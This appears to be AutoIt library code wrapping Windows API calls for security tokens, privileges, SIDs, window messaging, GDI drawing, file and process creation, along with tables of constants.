Func _Security__ImpersonateSelf($ILEVEL = $SECURITYIMPERSONATION)
Local $ACALL = DllCall("advapi32.dll", "bool", "ImpersonateSelf", "int", $ILEVEL)
If @error Then Return SetError(1, @extended, False)
Return Not ($ACALL[0] = 0)
EndFunc ;==>_Security__ImpersonateSelf
Func _Security__IsValidSid($PSID)
Local $ACALL = DllCall("advapi32.dll", "bool", "IsValidSid", "struct*", $PSID)
If @error Then Return SetError(1, @extended, False)
Return Not ($ACALL[0] = 0)
EndFunc ;==>_Security__IsValidSid
Func _Security__LookupAccountName($SACCOUNT, $SSYSTEM = "")
Local $TDATA = DllStructCreate("byte SID[256]")
Local $ACALL = DllCall("advapi32.dll", "bool", "LookupAccountNameW", "wstr", $SSYSTEM, "wstr", $SACCOUNT, "struct*", $TDATA, "dword*", DllStructGetSize($TDATA), "wstr", "", "dword*", DllStructGetSize($TDATA), "int*", 0)
If @error Or Not $ACALL[0] Then Return SetError(1, @extended, 0)
Local $AACCT[3]
$AACCT[0] = _Security__SidToStringSid(DllStructGetPtr($TDATA, "SID"))
$AACCT[1] = $ACALL[5]
$AACCT[2] = $ACALL[7]
Return $AACCT
EndFunc ;==>_Security__LookupAccountName
Func _Security__LookupAccountSid($VSID, $SSYSTEM = "")
Local $PSID, $AACCT[3]
If IsString($VSID) Then
$PSID = _Security__StringSidToSid($VSID)
Else
$PSID = $VSID
EndIf
If Not _Security__IsValidSid($PSID) Then Return SetError(1, @extended, 0)
Local $TYPESYSTEM = "ptr"
If $SSYSTEM Then $TYPESYSTEM = "wstr"
Local $ACALL = DllCall("advapi32.dll", "bool", "LookupAccountSidW", $TYPESYSTEM, $SSYSTEM, "struct*", $PSID, "wstr", "", "dword*", 65536, "wstr", "", "dword*", 65536, "int*", 0)
If @error Or Not $ACALL[0] Then Return SetError(2, @extended, 0)
Local $AACCT[3]
$AACCT[0] = $ACALL[3]
$AACCT[1] = $ACALL[5]
$AACCT[2] = $ACALL[7]
Return $AACCT
EndFunc ;==>_Security__LookupAccountSid
Func _Security__LookupPrivilegeValue($SSYSTEM, $SNAME)
Local $ACALL = DllCall("advapi32.dll", "bool", "LookupPrivilegeValueW", "wstr", $SSYSTEM, "wstr", $SNAME, "int64*", 0)
If @error Or Not $ACALL[0] Then Return SetError(1, @extended, 0)
Return $ACALL[3]
EndFunc ;==>_Security__LookupPrivilegeValue
Func _Security__OpenProcessToken($HPROCESS, $IACCESS)
Local $ACALL = DllCall("advapi32.dll", "bool", "OpenProcessToken", "handle", $HPROCESS, "dword", $IACCESS, "handle*", 0)
If @error Or Not $ACALL[0] Then Return SetError(1, @extended, 0)
Return $ACALL[3]
EndFunc ;==>_Security__OpenProcessToken
Func _Security__OpenThreadToken($IACCESS, $HTHREAD = 0, $FOPENASSELF = False)
If $HTHREAD = 0 Then $HTHREAD = _WinAPI_GetCurrentThread()
If @error Then Return SetError(1, @extended, 0)
Local $ACALL = DllCall("advapi32.dll", "bool", "OpenThreadToken", "handle", $HTHREAD, "dword", $IACCESS, "bool", $FOPENASSELF, "handle*", 0)
If @error Or Not $ACALL[0] Then Return SetError(2, @extended, 0)
Return $ACALL[4]
EndFunc ;==>_Security__OpenThreadToken
Func _Security__OpenThreadTokenEx($IACCESS, $HTHREAD = 0, $FOPENASSELF = False)
Local $HTOKEN = _Security__OpenThreadToken($IACCESS, $HTHREAD, $FOPENASSELF)
If $HTOKEN = 0 Then
If _WinAPI_GetLastError() <> $ERROR_NO_TOKEN Then Return SetError(3, _WinAPI_GetLastError(), 0)
If Not _Security__ImpersonateSelf() Then Return SetError(1, _WinAPI_GetLastError(), 0)
$HTOKEN = _Security__OpenThreadToken($IACCESS, $HTHREAD, $FOPENASSELF)
If $HTOKEN = 0 Then Return SetError(2, _WinAPI_GetLastError(), 0)
EndIf
Return $HTOKEN
EndFunc ;==>_Security__OpenThreadTokenEx
Func _Security__SetPrivilege($HTOKEN, $SPRIVILEGE, $FENABLE)
Local $ILUID = _Security__LookupPrivilegeValue("", $SPRIVILEGE)
If $ILUID = 0 Then Return SetError(1, @extended, False)
Local $TCURRSTATE = DllStructCreate($TAGTOKEN_PRIVILEGES)
Local $ICURRSTATE = DllStructGetSize($TCURRSTATE)
Local $TPREVSTATE = DllStructCreate($TAGTOKEN_PRIVILEGES)
Local $IPREVSTATE = DllStructGetSize($TPREVSTATE)
Local $TREQUIRED = DllStructCreate("int Data")
DllStructSetData($TCURRSTATE, "Count", 1)
DllStructSetData($TCURRSTATE, "LUID", $ILUID)
If Not _Security__AdjustTokenPrivileges($HTOKEN, False, $TCURRSTATE, $ICURRSTATE, $TPREVSTATE, $TREQUIRED) Then Return SetError(2, @error, False)
DllStructSetData($TPREVSTATE, "Count", 1)
DllStructSetData($TPREVSTATE, "LUID", $ILUID)
Local $IATTRIBUTES = DllStructGetData($TPREVSTATE, "Attributes")
If $FENABLE Then
$IATTRIBUTES = BitOR($IATTRIBUTES, $SE_PRIVILEGE_ENABLED)
Else
$IATTRIBUTES = BitAND($IATTRIBUTES, BitNOT($SE_PRIVILEGE_ENABLED))
EndIf
DllStructSetData($TPREVSTATE, "Attributes", $IATTRIBUTES)
If Not _Security__AdjustTokenPrivileges($HTOKEN, False, $TPREVSTATE, $IPREVSTATE, $TCURRSTATE, $TREQUIRED) Then Return SetError(3, @error, False)
Return True
EndFunc ;==>_Security__SetPrivilege
Func _Security__SetTokenInformation($HTOKEN, $ITOKENINFORMATION, $VTOKENINFORMATION, $ITOKENINFORMATIONLENGTH)
Local $ACALL = DllCall("advapi32.dll", "bool", "SetTokenInformation", "handle", $HTOKEN, "int", $ITOKENINFORMATION, "struct*", $VTOKENINFORMATION, "dword", $ITOKENINFORMATIONLENGTH)
If @error Or Not $ACALL[0] Then Return SetError(1, @extended, False)
Return True
EndFunc ;==>_SECURITY__SETTOKENINFORMATION
Func _Security__SidToStringSid($PSID)
If Not _Security__IsValidSid($PSID) Then Return SetError(1, 0, "")
Local $ACALL = DllCall("advapi32.dll", "bool", "ConvertSidToStringSidW", "struct*", $PSID, "ptr*", 0)
If @error Or Not $ACALL[0] Then Return SetError(2, @extended, "")
Local $PSTRINGSID = $ACALL[2]
Local $SSID = DllStructGetData(DllStructCreate("wchar Text[" & _WinAPI_StringLenW($PSTRINGSID) + 1 & "]", $PSTRINGSID), "Text")
_WinAPI_LocalFree($PSTRINGSID)
Return $SSID
EndFunc ;==>_Security__SidToStringSid
Func _Security__SidTypeStr($ITYPE)
Switch $ITYPE
Case $SIDTYPEUSER
Return "User"
Case $SIDTYPEGROUP
Return "Group"
Case $SIDTYPEDOMAIN
Return "Domain"
Case $SIDTYPEALIAS
Return "Alias"
Case $SIDTYPEWELLKNOWNGROUP
Return "Well Known Group"
Case $SIDTYPEDELETEDACCOUNT
Return "Deleted Account"
Case $SIDTYPEINVALID
Return "Invalid"
Case $SIDTYPEUNKNOWN
Return "Unknown Type"
Case $SIDTYPECOMPUTER
Return "Computer"
Case $SIDTYPELABEL
Return "A mandatory integrity label SID"
Case Else
Return "Unknown SID Type"
EndSwitch
EndFunc ;==>_Security__SidTypeStr
Func _Security__StringSidToSid($SSID)
Local $ACALL = DllCall("advapi32.dll", "bool", "ConvertStringSidToSidW", "wstr", $SSID, "ptr*", 0)
If @error Or Not $ACALL[0] Then Return SetError(1, @extended, 0)
Local $PSID = $ACALL[2]
Local $TBUFFER = DllStructCreate("byte Data[" & _Security__GetLengthSid($PSID) & "]", $PSID)
Local $TSID = DllStructCreate("byte Data[" & DllStructGetSize($TBUFFER) & "]")
DllStructSetData($TSID, "Data", DllStructGetData($TBUFFER, "Data"))
_WinAPI_LocalFree($PSID)
Return $TSID
EndFunc ;==>_Security__StringSidToSid
Func _SendMessage($HWND, $IMSG, $WPARAM = 0, $LPARAM = 0, $IRETURN = 0, $WPARAMTYPE = "wparam", $LPARAMTYPE = "lparam", $SRETURNTYPE = "lresult")
Local $ARESULT = DllCall("user32.dll", $SRETURNTYPE, "SendMessageW", "hwnd", $HWND, "uint", $IMSG, $WPARAMTYPE, $WPARAM, $LPARAMTYPE, $LPARAM)
If @error Then Return SetError(@error, @extended, "")
If $IRETURN >= 0 And $IRETURN <= 4 Then Return $ARESULT[$IRETURN]
Return $ARESULT
EndFunc ;==>_SendMessage
Func _SendMessageA($HWND, $IMSG, $WPARAM = 0, $LPARAM = 0, $IRETURN = 0, $WPARAMTYPE = "wparam", $LPARAMTYPE = "lparam", $SRETURNTYPE = "lresult")
Local $ARESULT = DllCall("user32.dll", $SRETURNTYPE, "SendMessageA", "hwnd", $HWND, "uint", $IMSG, $WPARAMTYPE, $WPARAM, $LPARAMTYPE, $LPARAM)
If @error Then Return SetError(@error, @extended, "")
If $IRETURN >= 0 And $IRETURN <= 4 Then Return $ARESULT[$IRETURN]
Return $ARESULT
EndFunc ;==>_SendMessageA
Global $__GAINPROCESS_WINAPI[64][2] = [[0, 0]]
Global $__GAWINLIST_WINAPI[64][2] = [[0, 0]]
Global Const $__WINAPICONSTANT_WM_SETFONT = 48
Global Const $__WINAPICONSTANT_FW_NORMAL = 400
Global Const $__WINAPICONSTANT_DEFAULT_CHARSET = 1
Global Const $__WINAPICONSTANT_OUT_DEFAULT_PRECIS = 0
Global Const $__WINAPICONSTANT_CLIP_DEFAULT_PRECIS = 0
Global Const $__WINAPICONSTANT_DEFAULT_QUALITY = 0
Global Const $__WINAPICONSTANT_FORMAT_MESSAGE_ALLOCATE_BUFFER = 256
Global Const $__WINAPICONSTANT_FORMAT_MESSAGE_FROM_SYSTEM = 4096
Global Const $__WINAPICONSTANT_LOGPIXELSX = 88
Global Const $__WINAPICONSTANT_LOGPIXELSY = 90
Global Const $HGDI_ERROR = Ptr(-1)
Global Const $INVALID_HANDLE_VALUE = Ptr(-1)
Global Const $CLR_INVALID = -1
Global Const $__WINAPICONSTANT_FLASHW_CAPTION = 1
Global Const $__WINAPICONSTANT_FLASHW_TRAY = 2
Global Const $__WINAPICONSTANT_FLASHW_TIMER = 4
Global Const $__WINAPICONSTANT_FLASHW_TIMERNOFG = 12
Global Const $__WINAPICONSTANT_GW_HWNDNEXT = 2
Global Const $__WINAPICONSTANT_GW_CHILD = 5
Global Const $__WINAPICONSTANT_DI_MASK = 1
Global Const $__WINAPICONSTANT_DI_IMAGE = 2
Global Const $__WINAPICONSTANT_DI_NORMAL = 3
Global Const $__WINAPICONSTANT_DI_COMPAT = 4
Global Const $__WINAPICONSTANT_DI_DEFAULTSIZE = 8
Global Const $__WINAPICONSTANT_DI_NOMIRROR = 16
Global Const $__WINAPICONSTANT_DISPLAY_DEVICE_ATTACHED_TO_DESKTOP = 1
Global Const $__WINAPICONSTANT_DISPLAY_DEVICE_PRIMARY_DEVICE = 4
Global Const $__WINAPICONSTANT_DISPLAY_DEVICE_MIRRORING_DRIVER = 8
Global Const $__WINAPICONSTANT_DISPLAY_DEVICE_VGA_COMPATIBLE = 16
Global Const $__WINAPICONSTANT_DISPLAY_DEVICE_REMOVABLE = 32
Global Const $__WINAPICONSTANT_DISPLAY_DEVICE_MODESPRUNED = 134217728
Global Const $NULL_BRUSH = 5
Global Const $NULL_PEN = 8
Global Const $BLACK_BRUSH = 4
Global Const $DKGRAY_BRUSH = 3
Global Const $DC_BRUSH = 18
Global Const $GRAY_BRUSH = 2
Global Const $HOLLOW_BRUSH = $NULL_BRUSH
Global Const $LTGRAY_BRUSH = 1
Global Const $WHITE_BRUSH = 0
Global Const $BLACK_PEN = 7
Global Const $DC_PEN = 19
Global Const $WHITE_PEN = 6
Global Const $ANSI_FIXED_FONT = 11
Global Const $ANSI_VAR_FONT = 12
Global Const $DEVICE_DEFAULT_FONT = 14
Global Const $DEFAULT_GUI_FONT = 17
Global Const $OEM_FIXED_FONT = 10
Global Const $SYSTEM_FONT = 13
Global Const $SYSTEM_FIXED_FONT = 16
Global Const $DEFAULT_PALETTE = 15
Global Const $MB_PRECOMPOSED = 1
Global Const $MB_COMPOSITE = 2
Global Const $MB_USEGLYPHCHARS = 4
Global Const $ULW_ALPHA = 2
Global Const $ULW_COLORKEY = 1
Global Const $ULW_OPAQUE = 4
Global Const $WH_CALLWNDPROC = 4
Global Const $WH_CALLWNDPROCRET = 12
Global Const $WH_CBT = 5
Global Const $WH_DEBUG = 9
Global Const $WH_FOREGROUNDIDLE = 11
Global Const $WH_GETMESSAGE = 3
Global Const $WH_JOURNALPLAYBACK = 1
Global Const $WH_JOURNALRECORD = 0
Global Const $WH_KEYBOARD = 2
Global Const $WH_KEYBOARD_LL = 13
Global Const $WH_MOUSE = 7
Global Const $WH_MOUSE_LL = 14
Global Const $WH_MSGFILTER = -1
Global Const $WH_SHELL = 10
Global Const $WH_SYSMSGFILTER = 6
Global Const $WPF_ASYNCWINDOWPLACEMENT = 4
Global Const $WPF_RESTORETOMAXIMIZED = 2
Global Const $WPF_SETMINPOSITION = 1
Global Const $KF_EXTENDED = 256
Global Const $KF_ALTDOWN = 8192
Global Const $KF_UP = 32768
Global Const $LLKHF_EXTENDED = BitShift($KF_EXTENDED, 8)
Global Const $LLKHF_INJECTED = 16
Global Const $LLKHF_ALTDOWN = BitShift($KF_ALTDOWN, 8)
Global Const $LLKHF_UP = BitShift($KF_UP, 8)
Global Const $OFN_ALLOWMULTISELECT = 512
Global Const $OFN_CREATEPROMPT = 8192
Global Const $OFN_DONTADDTORECENT = 33554432
Global Const $OFN_ENABLEHOOK = 32
Global Const $OFN_ENABLEINCLUDENOTIFY = 4194304
Global Const $OFN_ENABLESIZING = 8388608
Global Const $OFN_ENABLETEMPLATE = 64
Global Const $OFN_ENABLETEMPLATEHANDLE = 128
Global Const $OFN_EXPLORER = 524288
Global Const $OFN_EXTENSIONDIFFERENT = 1024
Global Const $OFN_FILEMUSTEXIST = 4096
Global Const $OFN_FORCESHOWHIDDEN = 268435456
Global Const $OFN_HIDEREADONLY = 4
Global Const $OFN_LONGNAMES = 2097152
Global Const $OFN_NOCHANGEDIR = 8
Global Const $OFN_NODEREFERENCELINKS = 1048576
Global Const $OFN_NOLONGNAMES = 262144
Global Const $OFN_NONETWORKBUTTON = 131072
Global Const $OFN_NOREADONLYRETURN = 32768
Global Const $OFN_NOTESTFILECREATE = 65536
Global Const $OFN_NOVALIDATE = 256
Global Const $OFN_OVERWRITEPROMPT = 2
Global Const $OFN_PATHMUSTEXIST = 2048
Global Const $OFN_READONLY = 1
Global Const $OFN_SHAREAWARE = 16384
Global Const $OFN_SHOWHELP = 16
Global Const $OFN_EX_NOPLACESBAR = 1
Global Const $TMPF_FIXED_PITCH = 1
Global Const $TMPF_VECTOR = 2
Global Const $TMPF_TRUETYPE = 4
Global Const $TMPF_DEVICE = 8
Global Const $DUPLICATE_CLOSE_SOURCE = 1
Global Const $DUPLICATE_SAME_ACCESS = 2
Global Const $TAGCURSORINFO = "dword Size;dword Flags;handle hCursor;" & $TAGPOINT
Global Const $TAGDISPLAY_DEVICE = "dword Size;wchar Name[32];wchar String[128];dword Flags;wchar ID[128];wchar Key[128]"
Global Const $TAGFLASHWINFO = "uint Size;hwnd hWnd;dword Flags;uint Count;dword TimeOut"
Global Const $TAGICONINFO = "bool Icon;dword XHotSpot;dword YHotSpot;handle hMask;handle hColor"
Global Const $TAGMEMORYSTATUSEX = "dword Length;dword MemoryLoad;" & "uint64 TotalPhys;uint64 AvailPhys;uint64 TotalPageFile;uint64 AvailPageFile;" & "uint64 TotalVirtual;uint64 AvailVirtual;uint64 AvailExtendedVirtual"
Func _WinAPI_AttachConsole($IPROCESSID = -1)
Local $ARESULT = DllCall("kernel32.dll", "bool", "AttachConsole", "dword", $IPROCESSID)
If @error Then Return SetError(@error, @extended, False)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_AttachConsole
Func _WinAPI_AttachThreadInput($IATTACH, $IATTACHTO, $FATTACH)
Local $ARESULT = DllCall("user32.dll", "bool", "AttachThreadInput", "dword", $IATTACH, "dword", $IATTACHTO, "bool", $FATTACH)
If @error Then Return SetError(@error, @extended, False)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_AttachThreadInput
Func _WinAPI_Beep($IFREQ = 500, $IDURATION = 1000)
Local $ARESULT = DllCall("kernel32.dll", "bool", "Beep", "dword", $IFREQ, "dword", $IDURATION)
If @error Then Return SetError(@error, @extended, False)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_Beep
Func _WinAPI_BitBlt($HDESTDC, $IXDEST, $IYDEST, $IWIDTH, $IHEIGHT, $HSRCDC, $IXSRC, $IYSRC, $IROP)
Local $ARESULT = DllCall("gdi32.dll", "bool", "BitBlt", "handle", $HDESTDC, "int", $IXDEST, "int", $IYDEST, "int", $IWIDTH, "int", $IHEIGHT, "handle", $HSRCDC, "int", $IXSRC, "int", $IYSRC, "dword", $IROP)
If @error Then Return SetError(@error, @extended, False)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_BitBlt
Func _WinAPI_CallNextHookEx($HHK, $ICODE, $WPARAM, $LPARAM)
Local $ARESULT = DllCall("user32.dll", "lresult", "CallNextHookEx", "handle", $HHK, "int", $ICODE, "wparam", $WPARAM, "lparam", $LPARAM)
If @error Then Return SetError(@error, @extended, -1)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_CallNextHookEx
Func _WinAPI_CallWindowProc($LPPREVWNDFUNC, $HWND, $MSG, $WPARAM, $LPARAM)
Local $ARESULT = DllCall("user32.dll", "lresult", "CallWindowProc", "ptr", $LPPREVWNDFUNC, "hwnd", $HWND, "uint", $MSG, "wparam", $WPARAM, "lparam", $LPARAM)
If @error Then Return SetError(@error, @extended, -1)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_CallWindowProc
Func _WinAPI_ClientToScreen($HWND, ByRef $TPOINT)
DllCall("user32.dll", "bool", "ClientToScreen", "hwnd", $HWND, "struct*", $TPOINT)
Return SetError(@error, @extended, $TPOINT)
EndFunc ;==>_WinAPI_ClientToScreen
Func _WinAPI_CloseHandle($HOBJECT)
Local $ARESULT = DllCall("kernel32.dll", "bool", "CloseHandle", "handle", $HOBJECT)
If @error Then Return SetError(@error, @extended, False)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_CloseHandle
Func _WinAPI_CombineRgn($HRGNDEST, $HRGNSRC1, $HRGNSRC2, $ICOMBINEMODE)
Local $ARESULT = DllCall("gdi32.dll", "int", "CombineRgn", "handle", $HRGNDEST, "handle", $HRGNSRC1, "handle", $HRGNSRC2, "int", $ICOMBINEMODE)
If @error Then Return SetError(@error, @extended, 0)
Return $ARESULT[0]
EndFunc ;==>_WINAPI_COMBINERGN
Func _WinAPI_CommDlgExtendedError()
Local Const $CDERR_DIALOGFAILURE = 65535
Local Const $CDERR_FINDRESFAILURE = 6
Local Const $CDERR_INITIALIZATION = 2
Local Const $CDERR_LOADRESFAILURE = 7
Local Const $CDERR_LOADSTRFAILURE = 5
Local Const $CDERR_LOCKRESFAILURE = 8
Local Const $CDERR_MEMALLOCFAILURE = 9
Local Const $CDERR_MEMLOCKFAILURE = 10
Local Const $CDERR_NOHINSTANCE = 4
Local Const $CDERR_NOHOOK = 11
Local Const $CDERR_NOTEMPLATE = 3
Local Const $CDERR_REGISTERMSGFAIL = 12
Local Const $CDERR_STRUCTSIZE = 1
Local Const $FNERR_BUFFERTOOSMALL = 12291
Local Const $FNERR_INVALIDFILENAME = 12290
Local Const $FNERR_SUBCLASSFAILURE = 12289
Local $ARESULT = DllCall("comdlg32.dll", "dword", "CommDlgExtendedError")
If @error Then Return SetError(@error, @extended, 0)
Switch $ARESULT[0]
Case $CDERR_DIALOGFAILURE
Return SetError($ARESULT[0], 0, "The dialog box could not be created." & @LF & "The common dialog box function's call to the DialogBox function failed." & @LF & "For example, this error occurs if the common dialog box call specifies an invalid window handle.")
Case $CDERR_FINDRESFAILURE
Return SetError($ARESULT[0], 0, "The common dialog box function failed to find a specified resource.")
Case $CDERR_INITIALIZATION
Return SetError($ARESULT[0], 0, "The common dialog box function failed during initialization." & @LF & "This error often occurs when sufficient memory is not available.")
Case $CDERR_LOADRESFAILURE
Return SetError($ARESULT[0], 0, "The common dialog box function failed to load a specified resource.")
Case $CDERR_LOADSTRFAILURE
Return SetError($ARESULT[0], 0, "The common dialog box function failed to load a specified string.")
Case $CDERR_LOCKRESFAILURE
Return SetError($ARESULT[0], 0, "The common dialog box function failed to lock a specified resource.")
Case $CDERR_MEMALLOCFAILURE
Return SetError($ARESULT[0], 0, "The common dialog box function was unable to allocate memory for internal structures.")
Case $CDERR_MEMLOCKFAILURE
Return SetError($ARESULT[0], 0, "The common dialog box function was unable to lock the memory associated with a handle.")
Case $CDERR_NOHINSTANCE
Return SetError($ARESULT[0], 0, "The ENABLETEMPLATE flag was set in the Flags member of the initialization structure for the corresponding common dialog box," & @LF & "but you failed to provide a corresponding instance handle.")
Case $CDERR_NOHOOK
Return SetError($ARESULT[0], 0, "The ENABLEHOOK flag was set in the Flags member of the initialization structure for the corresponding common dialog box," & @LF & "but you failed to provide a pointer to a corresponding hook procedure.")
Case $CDERR_NOTEMPLATE
Return SetError($ARESULT[0], 0, "The ENABLETEMPLATE flag was set in the Flags member of the initialization structure for the corresponding common dialog box," & @LF & "but you failed to provide a corresponding template.")
Case $CDERR_REGISTERMSGFAIL
Return SetError($ARESULT[0], 0, "The RegisterWindowMessage function returned an error code when it was called by the common dialog box function.")
Case $CDERR_STRUCTSIZE
Return SetError($ARESULT[0], 0, "The lStructSize member of the initialization structure for the corresponding common dialog box is invalid")
Case $FNERR_BUFFERTOOSMALL
Return SetError($ARESULT[0], 0, "The buffer pointed to by the lpstrFile member of the OPENFILENAME structure is too small for the file name specified by the user." & @LF & "The first two bytes of the lpstrFile buffer contain an integer value specifying the size, in TCHARs, required to receive the full name.")
Case $FNERR_INVALIDFILENAME
Return SetError($ARESULT[0], 0, "A file name is invalid.")
Case $FNERR_SUBCLASSFAILURE
Return SetError($ARESULT[0], 0, "An attempt to subclass a list box failed because sufficient memory was not available.")
EndSwitch
Return Hex($ARESULT[0])
EndFunc ;==>_WinAPI_CommDlgExtendedError
Func _WinAPI_CopyIcon($HICON)
Local $ARESULT = DllCall("user32.dll", "handle", "CopyIcon", "handle", $HICON)
If @error Then Return SetError(@error, @extended, 0)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_CopyIcon
Func _WinAPI_CreateBitmap($IWIDTH, $IHEIGHT, $IPLANES = 1, $IBITSPERPEL = 1, $PBITS = 0)
Local $ARESULT = DllCall("gdi32.dll", "handle", "CreateBitmap", "int", $IWIDTH, "int", $IHEIGHT, "uint", $IPLANES, "uint", $IBITSPERPEL, "ptr", $PBITS)
If @error Then Return SetError(@error, @extended, 0)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_CreateBitmap
Func _WinAPI_CreateCompatibleBitmap($HDC, $IWIDTH, $IHEIGHT)
Local $ARESULT = DllCall("gdi32.dll", "handle", "CreateCompatibleBitmap", "handle", $HDC, "int", $IWIDTH, "int", $IHEIGHT)
If @error Then Return SetError(@error, @extended, 0)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_CreateCompatibleBitmap
Func _WinAPI_CreateCompatibleDC($HDC)
Local $ARESULT = DllCall("gdi32.dll", "handle", "CreateCompatibleDC", "handle", $HDC)
If @error Then Return SetError(@error, @extended, 0)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_CreateCompatibleDC
Func _WinAPI_CreateEvent($PATTRIBUTES = 0, $FMANUALRESET = True, $FINITIALSTATE = True, $SNAME = "")
Local $SNAMETYPE = "wstr"
If $SNAME = "" Then
$SNAME = 0
$SNAMETYPE = "ptr"
EndIf
Local $ARESULT = DllCall("kernel32.dll", "handle", "CreateEventW", "ptr", $PATTRIBUTES, "bool", $FMANUALRESET, "bool", $FINITIALSTATE, $SNAMETYPE, $SNAME)
If @error Then Return SetError(@error, @extended, 0)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_CreateEvent
Func _WinAPI_CreateFile($SFILENAME, $ICREATION, $IACCESS = 4, $ISHARE = 0, $IATTRIBUTES = 0, $PSECURITY = 0)
Local $IDA = 0, $ISM = 0, $ICD = 0, $IFA = 0
If BitAND($IACCESS, 1) <> 0 Then $IDA = BitOR($IDA, $GENERIC_EXECUTE)
If BitAND($IACCESS, 2) <> 0 Then $IDA = BitOR($IDA, $GENERIC_READ)
If BitAND($IACCESS, 4) <> 0 Then $IDA = BitOR($IDA, $GENERIC_WRITE)
If BitAND($ISHARE, 1) <> 0 Then $ISM = BitOR($ISM, $FILE_SHARE_DELETE)
If BitAND($ISHARE, 2) <> 0 Then $ISM = BitOR($ISM, $FILE_SHARE_READ)
If BitAND($ISHARE, 4) <> 0 Then $ISM = BitOR($ISM, $FILE_SHARE_WRITE)
Switch $ICREATION
Case 0
$ICD = $CREATE_NEW
Case 1
$ICD = $CREATE_ALWAYS
Case 2
$ICD = $OPEN_EXISTING
Case 3
$ICD = $OPEN_ALWAYS
Case 4
$ICD = $TRUNCATE_EXISTING
EndSwitch
If BitAND($IATTRIBUTES, 1) <> 0 Then $IFA = BitOR($IFA, $FILE_ATTRIBUTE_ARCHIVE)
If BitAND($IATTRIBUTES, 2) <> 0 Then $IFA = BitOR($IFA, $FILE_ATTRIBUTE_HIDDEN)
If BitAND($IATTRIBUTES, 4) <> 0 Then $IFA = BitOR($IFA, $FILE_ATTRIBUTE_READONLY)
If BitAND($IATTRIBUTES, 8) <> 0 Then $IFA = BitOR($IFA, $FILE_ATTRIBUTE_SYSTEM)
Local $ARESULT = DllCall("kernel32.dll", "handle", "CreateFileW", "wstr", $SFILENAME, "dword", $IDA, "dword", $ISM, "ptr", $PSECURITY, "dword", $ICD, "dword", $IFA, "ptr", 0)
If @error Or $ARESULT[0] = Ptr(-1) Then Return SetError(@error, @extended, 0)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_CreateFile
Func _WinAPI_CreateFont($NHEIGHT, $NWIDTH, $NESCAPE = 0, $NORIENTN = 0, $FNWEIGHT = $__WINAPICONSTANT_FW_NORMAL, $BITALIC = False, $BUNDERLINE = False, $BSTRIKEOUT = False, $NCHARSET = $__WINAPICONSTANT_DEFAULT_CHARSET, $NOUTPUTPREC = $__WINAPICONSTANT_OUT_DEFAULT_PRECIS, $NCLIPPREC = $__WINAPICONSTANT_CLIP_DEFAULT_PRECIS, $NQUALITY = $__WINAPICONSTANT_DEFAULT_QUALITY, $NPITCH = 0, $SZFACE = "Arial")
Local $ARESULT = DllCall("gdi32.dll", "handle", "CreateFontW", "int", $NHEIGHT, "int", $NWIDTH, "int", $NESCAPE, "int", $NORIENTN, "int", $FNWEIGHT, "dword", $BITALIC, "dword", $BUNDERLINE, "dword", $BSTRIKEOUT, "dword", $NCHARSET, "dword", $NOUTPUTPREC, "dword", $NCLIPPREC, "dword", $NQUALITY, "dword", $NPITCH, "wstr", $SZFACE)
If @error Then Return SetError(@error, @extended, 0)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_CreateFont
Func _WinAPI_CreateFontIndirect($TLOGFONT)
Local $ARESULT = DllCall("gdi32.dll", "handle", "CreateFontIndirectW", "struct*", $TLOGFONT)
If @error Then Return SetError(@error, @extended, 0)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_CreateFontIndirect
Func _WinAPI_CreatePen($IPENSTYLE, $IWIDTH, $NCOLOR)
Local $ARESULT = DllCall("gdi32.dll", "handle", "CreatePen", "int", $IPENSTYLE, "int", $IWIDTH, "dword", $NCOLOR)
If @error Then Return SetError(@error, @extended, 0)
Return $ARESULT[0]
EndFunc ;==>_WINAPI_CREATEPEN
Func _WinAPI_CreateProcess($SAPPNAME, $SCOMMAND, $PSECURITY, $PTHREAD, $FINHERIT, $IFLAGS, $PENVIRON, $SDIR, $PSTARTUPINFO, $PPROCESS)
Local $TCOMMAND = 0
Local $SAPPNAMETYPE = "wstr", $SDIRTYPE = "wstr"
If $SAPPNAME = "" Then
$SAPPNAMETYPE = "ptr"
$SAPPNAME = 0
EndIf
If $SCOMMAND <> "" Then
$TCOMMAND = DllStructCreate("wchar Text[" & 260 + 1 & "]")
DllStructSetData($TCOMMAND, "Text", $SCOMMAND)
EndIf
If $SDIR = "" Then
$SDIRTYPE = "ptr"
$SDIR = 0
EndIf
Local $ARESULT = DllCall("kernel32.dll", "bool", "CreateProcessW", $SAPPNAMETYPE, $SAPPNAME, "struct*", $TCOMMAND, "ptr", $PSECURITY, "ptr", $PTHREAD, "bool", $FINHERIT, "dword", $IFLAGS, "ptr", $PENVIRON, $SDIRTYPE, $SDIR, "ptr", $PSTARTUPINFO, "ptr", $PPROCESS)
If @error Then Return SetError(@error, @extended, False)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_CreateProcess
Func _WinAPI_CreateRectRgn($ILEFTRECT, $ITOPRECT, $IRIGHTRECT, $IBOTTOMRECT)
Local $ARESULT = DllCall("gdi32.dll", "handle", "CreateRectRgn", "int", $ILEFTRECT, "int", $ITOPRECT, "int", $IRIGHTRECT, "int", $IBOTTOMRECT)
If @error Then Return SetError(@error, @extended, 0)
Return $ARESULT[0]
EndFunc ;==>_WINAPI_CREATERECTRGN
Func _WinAPI_CreateRoundRectRgn($ILEFTRECT, $ITOPRECT, $IRIGHTRECT, $IBOTTOMRECT, $IWIDTHELLIPSE, $IHEIGHTELLIPSE)
Local $ARESULT = DllCall("gdi32.dll", "handle", "CreateRoundRectRgn", "int", $ILEFTRECT, "int", $ITOPRECT, "int", $IRIGHTRECT, "int", $IBOTTOMRECT, "int", $IWIDTHELLIPSE, "int", $IHEIGHTELLIPSE)
If @error Then Return SetError(@error, @extended, 0)
Return $ARESULT[0]
EndFunc ;==>_WINAPI_CREATEROUNDRECTRGN
